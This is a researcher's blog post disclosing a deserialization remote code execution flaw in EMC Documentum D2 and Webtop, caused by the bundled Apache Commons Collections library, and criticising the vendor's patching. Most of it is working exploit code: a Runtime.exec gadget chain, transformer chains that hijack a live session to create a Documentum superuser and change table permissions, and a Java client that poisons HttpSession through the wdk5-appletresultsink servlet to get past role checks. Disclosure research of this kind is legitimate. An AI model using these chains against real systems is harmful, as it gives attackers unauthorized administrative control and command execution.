D2 remote code execution

As was promised previously I publish information about a super mega severe vulnerability in D2.

On November-December 2015 I was so busy on a project that I had missed a disclosure of deserialisation vulnerability in Apache Commons Collections Java library. FoxGlove Security blog contains a thorough explanation of what had happened – it is really worth to read it because Gabriel Lawrence, Chris Frohoff and Stephen Breen produced a tremendous amount of work – I was need to read it twice to understand what is going on and I spent about four hours to write a more clear version of exploit (AnnotationInvocationHandler magic was not clear for me):

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "commons-collections:commons-collections:3.1" })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<Map> {

	public Map getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(transformers));

		CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
		handler.setDefaultHandler(new InvocationHandler() {
			public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
				return method.invoke(new HashMap(), args);
			}
		});
		Map<Object, Object> result = new HashMap<Object, Object>();
		result.put(Gadgets.createProxy(handler, Map.class), null);
		Reflections.setFieldValue(handler, "classToInvocationHandler", lazyMap);
		handler.setDefaultHandler(null);

		return result;
	}

}

The interesting thing in all this story is a reaction of vendors and community. Some of people start panic, for example: Using Java? This is The Next Heartbleed You Should Be Worried About (generally, vulnerability in ACC has more in common with Shellshock rather than with Heartbleed – in case of Shellshock if you were using dangerous system(3) call you were bloody idiot, in case of ACC deserialization vulnerability if you accept serialized objects from untrusted sources you are lazy moron, in case of Heartbleed I can’t say something like “suck to be you if you are using TLS”), another people started blaming on researchers:

Because this is so negligent Lawrence and Frohoff didn’t bother to report this directly to the Apache Commons project.

ASF failed to announce vulnerability properly – it is still not clear what versions of ACC library are affected: CERT/CC states that “both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue”, but Frohoff’s PoC is based on 3.1 (version 3.0, which Webtop is based on, is not affected). It seems that the only company which was able to properly evaluate security risks is a Cisco Systems – please check their security advisory, moreover I always respect Cisco for their security advisories: if you ask google about “This vulnerability was discovered by Cisco during internal testing” you get a bunch of references to Cisco’s advisories – could you provide any other company which is doing the same? I don’t think so. For example, EMC states that they also have internal security testing (full presentation is available here):

but have you ever read about vulnerabilities “discovered by EMC during internal testing”? Frankly speaking, EMC states that “In accordance with industry practices, EMC does not share the findings from internal security testing or other types of security activities with external entities.“, but what the heck is “industry practices”? I always thought that if you get paid by customer you must care about customer and keep him informed and secure, moreover Cisco has more employees, more revenue than EMC, do they want to say that Cisco do not follow “industry practices”? So, I doubt that EMC performs any internal testing – at least it is clear that they don’t perform “root cause analysis” and “regression testing“, so, there is no reason for other blocks to be true (though, the half of blog’s subscribers are EMC employees, so it seems that they need to add “blog.documentum.pro” block onto their diagram). But today I’m going to put doubts on “proactively monitoring embedded components” block. Below is what EMC states about “embedded components”:

Well, vulnerability in ACC was announced on November 13, today is February 17, i.e. it is 96 days since announcement of vulnerability in ACC. Let’s check whether D2 contains vulnerable library:

[dmadmin@docu72dev01 distr]$ unzip D2_4.5.0_P05.zip 
Archive:  D2_4.5.0_P05.zip
   creating: D2_4.5.0_P05/
   creating: D2_4.5.0_P05/Plugins/
  inflating: D2_4.5.0_P05/D2-Configurator_4.5.0.jar  
  inflating: D2_4.5.0_P05/D2-Installer-4.5.0.jar  
  inflating: D2_4.5.0_P05/Plugins/D2-BOCS-4.5.0.war  
  inflating: D2_4.5.0_P05/Plugins/D2-RPS-Dar-Install.zip  
[dmadmin@docu72dev01 distr]$ cd D2_4.5.0_P05
[dmadmin@docu72dev01 D2_4.5.0_P05]$ java -jar D2-Installer-4.5.0.jar 
...
[dmadmin@docu72dev01 D2]$ zipinfo D2.war | grep commons-collections
-rw-r--r--  2.0 unx   571259 b- defN 15-Aug-18 14:38 WEB-INF/lib/commons-collections-3.2.jar
[dmadmin@docu72dev01 D2]$ zipinfo D2-Config.war | grep commons-collections
-rw-r--r--  2.0 unx   571259 b- defN 13-Jul-23 19:44 WEB-INF/lib/commons-collections-3.2.jar

Oops…

Note, that my proof of concept does not execute operating system commands like was demonstrated in Frohoff’s PoC – instead of that it creates Documentum user with superuser privileges. I have noticed that many researches like to describe how their proof of concepts work, so I will try to do the same, however if you get bored you can stop reading this post and get my proof of concept here.

Motivation

At first, initial proof of concept is bit boring: on the one hand we (Documentum users) already have a component which is able to execute arbitrary shell commands (I’m talking about Content Server), on the other hand such proof of concept assumes that attacker executes shell commands blindly, i.e. to understand wether service is vulnerable or not we need to somehow get information about whether command was executed or not, for example, we may use ping to send packets to monitored host, but what if victim service is located behind a firewall? So, creating a new user is more practicable.

At second, this blog is about Documentum, writing something like “take a look, D2 contains vulnerable java library” is boring.

First challenge

Well. The first challenge was to get DFC session without knowing any Documentum credentials, actually if DevOp is so stupid to leave default passwords for dmc_wdk_preferences_owner/dmc_wdk_presets_owner users unchanged we may construct DFC session using following code:

new DfClient().newSession("docbase", new DfLoginInfo("username", "password"));

or using very limited API provided by ACC library it will look like:

Transformer getSession = new ChainedTransformer(new Transformer[] { new ConstantTransformer(DfClient.class),
		new InstantiateTransformer(new Class[0], new Object[0]),
		new InvokerTransformer("newSession", new Class[] { String.class, IDfLoginInfo.class },
				new Object[] { "docbase", new DfLoginInfo("username", "password") }) });
getSession.transform(null);

What if we do not know Documentum credentials at all? I have found a following way to get dm_bof_registry’s session:

((List) RuntimeContext.getInstance().getSessionRegistry().getAllSessions()).get(0);

or the same using ACC API:

Transformer getSession = new ChainedTransformer(
		new Transformer[] { new ConstantTransformer(RuntimeContext.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getInstance", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
				new Object[] { null, new Object[0] }),
		new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
		new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
		new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });

Now there are two other challenges:

  • we need to somehow execute docbase queries
  • we need to somehow evaluate privileges

The third one is less important: at first, I know about 10 ways to evaluate privileges in Documentum (haha, keep me away from accessing your Documentum, otherwise it hurts me because I don’t like making a choice), at second, if you are lucky enough SessionRegistry may contain privileged sessions – just play with array’s index, at third, in order to evaluate privileges it is still required to execute queries.

Second challenge

  • It is not possible to invoke com.documentum.fc.client.IDfQuery#execute using ACC API – it accepts IDfSession as argument
  • com.documentum.fc.client.IDfSession#apply looks like what we need, but it accepts IDfList as argument, and IDfList has no serializable implementations
  • com.documentum.fc.client.impl.session.ISession#query(java.lang.String, boolean, boolean) – good candidate if we need to execute DQL queries only
  • com.documentum.fc.client.impl.docbase.DocbaseApi#parameterizedApply is our champion – it allows to execute arbitrary RPC command

Below is a serializable chain to create Documentum user:

Transformer getSession = new ChainedTransformer(
		new Transformer[] { new ConstantTransformer(RuntimeContext.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getInstance", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
				new Object[] { null, new Object[0] }),
		new InvokerTransformer("getSessionRegistry", new Class[0], new Object[0]),
		new InvokerTransformer("getAllSessions", new Class[0], new Object[0]),
		new InvokerTransformer("get", new Class[] { int.class }, new Object[] { 0 }), });

Transformer getDocbaseAPI = new ChainedTransformer(
		new Transformer[] { getSession, new InvokerTransformer("getDocbaseApi", new Class[0], new Object[0]) });

ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
		"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
				+ "', SET user_source='inline password', SET user_password='" + userName
				+ "', SET user_privileges=16");

Transformer createUser = new ChainedTransformer(new Transformer[] { getDocbaseAPI,
		new InvokerTransformer("parameterizedApply",
				new Class[] { String.class, IDfId.class, ITypedData.class, boolean.class },
				new Object[] { "EXEC", DfId.DF_NULLID, createUserQuery, false }),
		new ConstantTransformer(null) });

Third challenge

The most obvious idea to evaluate privileges in Documentum is to take advantage of dcs_privileged_users group, i.e. relying on previous code it may look like:

ITypedData createUserQuery = new DynamicallyTypedData();
createUserQuery.appendString("QUERY",
		"CREATE dm_user object SET user_name='" + userName + "', SET user_login_name='" + userName
				+ "', SET user_source='inline password', SET user_password='" + userName
				+ "', SET user_privileges=16");
createUserQuery.appendString(" __REQUESTED_PROTECTED_ROLES", "dcs_privileged_users");

Unfortunately this idea is doomed to failure in case of D2 4.5 – dcs_privileged_users is now secured. Most of other ways require a lot of coding because ACC API is extremelly limited, so I have chosen an approach described in When will EMC stop fighting with customers and start care about them? blogpost:

ITypedData createRegisteredQuery = new DynamicallyTypedData();
createRegisteredQuery.appendBoolean("IS_NEW_OBJECT", true);
createRegisteredQuery.appendString("OBJECT_TYPE", "DM_REGISTERED");
createRegisteredQuery.appendInt("i_vstamp", 0);
createRegisteredQuery.appendString("table_name", "dm_user_s");
createRegisteredQuery.appendString("table_owner", docbaseName);
createRegisteredQuery.appendString("owner_name", docbaseName);
createRegisteredQuery.appendInt("world_permit", 7);
createRegisteredQuery.appendString("object_name", "dm_user_s");
createRegisteredQuery.appendInt("owner_table_permit", 15);
createRegisteredQuery.appendInt("group_table_permit", 15);
createRegisteredQuery.appendInt("world_table_permit", 15);
createRegisteredQuery.appendString("r_object_type", "dm_registered");

Transformer createRegistered = new ChainedTransformer(
		new Transformer[] { getDocbaseAPI,
				new InvokerTransformer("parameterizedApply", new Class[] { String.class, IDfId.class,
						ITypedData.class, boolean.class },
				new Object[] { "SysObjSave", new DfId("1900000080000001"), createRegisteredQuery, false }),
		new ConstantTransformer(null) });

The funny thing here is Content Server allows to create objects having out-of-sequence r_object_id, moreover, it seems that Content Server ignores docbase part of r_object_id – we do not need to execute NEXT_ID_LIST RPC command to acquire brand new r_object_id.

Webtop

Previously I noticed that Webtop contains ACC library of version 3.0 and it this version is not affected, unfortunately, this is only a half of the truth. If we consider the problem more globally, i.e. “if you accept serialized objects from untrusted sources you are lazy moron“, everything become more interesting. Well, all wdk applications have an extremely ancient servlet:

    <servlet>
        <description>Servlet used by applets to return results</description>
        <servlet-name>wdk5-appletresultsink</servlet-name>
        <servlet-class>com.documentum.web.servlet.AppletResultSink</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>wdk5-appletresultsink</servlet-name>
        <url-pattern>/wdk5-appletresultsink</url-pattern>
    </servlet-mapping>

This servlet do something like:

protected void service(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
    String contentType = request.getContentType();
    if (!"application/x-www-form-urlencoded".equals(contentType)
            && !"application/x-deflated-java-serialized-object".equals(contentType)) {
        ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
        SessionState.setAttribute(ois.readObject().toString(), ois.readObject());
    }
}

Amazing, wdk5-appletresultsink servlet allows to inject arbitrary value into HttpSession. Now, do you have any idea how PrivilegeQualifier and RoleQualifier work? Actually, they both do something like:

@Override
public String getScopeValue(QualifierContext qualifierContext) {
	String userName = SessionManagerHttpBinding.getUsername();
	IDfSessionManager sessionManager = SessionManagerHttpBinding.getSessionManager();
	IDfSession session = null;
	try {
		 session = sessionManager.getSession(SessionManagerHttpBinding.getCurrentDocbase());
		// some logic here
	} finally {
		if (session != null) {
			sessionManager.release(session);
		}
	}
}

What the heck is SessionManagerHttpBinding.getUsername()? Actually, it does something like:

public static String getUsername() {
	String docbase = getCurrentDocbase();
	String userKey = docbase + ".dctm.roleService.username";
	return SessionState.getAttribute(userKey);
}

So, we may poison PrivilegeQualifier and RoleQualifier qualifiers by poisoning HttpSession, i.e.:

public static void main(String[] args) throws Exception {
	String url = args[0];
	String docbase = args[1];
	String jsessionId = args[2];

	HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
	conn.setRequestProperty("Content-Type", "pwned");
	conn.setRequestMethod("POST");
	conn.setUseCaches(false);
	conn.setDoOutput(true);
	conn.setRequestProperty("Cookie", "JSESSIONID=" + jsessionId);
	ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
	oos.writeObject(docbase + ".dctm.roleService.username");
	oos.writeObject(docbase);
	oos.flush();
	oos.close();
	conn.connect();
}

public static String makeUrl(String url) {
	if (!url.endsWith("/")) {
		url += "/";
	}
	return url + "wdk5-appletresultsink";
}

The problem is in recent WDK versions EMC introduced dumb security checks and we can’t open /webtop/component/api directly, good news is those checks are also based on HttpSession.

public static void main(String[] args) throws Exception {
	String url = args[0];
	String docbase = args[1];
	String jsessionId = args[2];
	sendRequest(url, jsessionId, docbase + ".dctm.roleService.username", docbase);
	RandomIdCache cache = new RandomIdCache();
	cache.put(String.valueOf(0), null);
	sendRequest(url, jsessionId, "RandomIdCache", cache);
}

public static void sendRequest(String url, String jsessionId, Object... data) throws Exception {
	HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
	conn.setRequestProperty("Content-Type", "pwned");
	conn.setRequestMethod("POST");
	conn.setUseCaches(false);
	conn.setDoOutput(true);
	conn.setRequestProperty("Cookie", "JSESSIONID=" + jsessionId);
	ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
	for (Object o : data) {
		oos.writeObject(o);
	}
	oos.flush();
	oos.close();
	conn.connect();
}

public static String makeUrl(String url) {
	if (!url.endsWith("/")) {
		url += "/";
	}
	return url + "wdk5-appletresultsink";
}

3 thoughts on “D2 remote code execution

  1. Pingback: Another two D2 remote code executions. Webtop is affected | Documentum in a (nuts)HELL
  2. Pingback: When will EMC stop fighting with customers and start care about them? | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s